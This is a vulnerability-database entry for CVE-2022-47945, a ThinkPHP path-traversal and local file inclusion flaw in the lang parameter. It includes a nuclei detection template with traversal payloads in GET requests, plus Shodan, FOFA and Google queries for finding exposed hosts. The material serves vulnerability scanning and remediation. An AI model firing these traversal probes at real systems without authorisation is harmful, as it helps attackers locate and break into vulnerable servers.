Lucene search
+L

Thinkphp Lang - Local File Inclusion

🗓️ 22 Oct 2026 02:06:49Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 765 Views

ThinkPHP Lang - Local File Inclusion allows remote attackers to execute arbitrary operating system commands via lang parameter. Vulnerability can lead to unauthorized access, data leakage, and remote code execution

Related
Refs
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for Path Traversal in Thinkphp
9 Jan 202410:10
–githubexploit
circl
Circl
CVE-2022-47945
24 Dec 202200:14
–circl
cnnvd
CNNVD
ThinkPHP path traversal vulnerability
23 Dec 202200:00
–cnnvd
cve
CVE
CVE-2022-47945
23 Dec 202200:00
–cve
cvelist
Cvelist
CVE-2022-47945
23 Dec 202200:00
–cvelist
github
Github Security Blog
ThinkPHP Framework vulnerable to remote code execution
23 Dec 202221:30
–github
kittysploit
KittySploit
Thinkphp Lang - Local File Inclusion Detection
28 Jul 202611:27
–kittysploit
mend
Mend
CVE-2022-47945
23 Dec 202200:00
–mend
nvd
NVD
CVE-2022-47945
23 Dec 202221:15
–nvd
osv_ghsa
osv_ghsa
GHSA-P4QR-VQ2G-22WP ThinkPHP Framework vulnerable to remote code execution
23 Dec 202221:30
–osv_ghsa
Rows per page
id: CVE-2022-47945

info:
  name: Thinkphp Lang - Local File Inclusion
  author: kagamigawa
  severity: critical
  description: |
    ThinkPHP Framework before 6.0.14 allows local file inclusion via the lang parameter when the language pack feature is enabled (lang_switch_on=true). An unauthenticated and remote attacker can exploit this to execute arbitrary operating system commands, as demonstrated by including pearcmd.php.
  impact: |
    This vulnerability can lead to unauthorized access, data leakage, and remote code execution.
  remediation: |
    Apply the latest security patches and updates provided by the Thinkphp framework.
  reference:
    - https://tttang.com/archive/1865/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-47945
    - https://github.com/top-think/framework/compare/v6.0.13...v6.0.14
    - https://github.com/top-think/framework/commit/c4acb8b4001b98a0078eda25840d33e295a7f099
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-47945
    cwe-id: CWE-22
    epss-score: 0.28731
    epss-percentile: 0.98139
    cpe: cpe:2.3:a:thinkphp:thinkphp:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: thinkphp
    product: thinkphp
    shodan-query:
      - title:"Thinkphp"
      - http.title:"thinkphp"
      - cpe:"cpe:2.3:a:thinkphp:thinkphp"
    fofa-query:
      - header="think_lang"
      - title="thinkphp"
    google-query: intitle:"thinkphp"
  tags: cve,cve2022,thinkphp,lfi,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/?lang=../../thinkphp/base"
      - "{{BaseURL}}/?lang=../../../../../vendor/topthink/think-trace/src/TraceDebug"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Call Stack'
          - 'class="trace'
        condition: and

      - type: status
        status:
          - 500
# digest: 4b0a004830460221008a36908496df6af3629d39a2d5493b8459a5e912cc147bb6438414690e35b60f022100f62340ee20da3fa4c36b01fafc56d778a4e8057949441c57034b9c8cd6209a98:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Feb 2026 07:00Current
8.7High risk
Vulners AI Score8.7
CVSS 3.19.8
EPSS0.28731
SSVC
765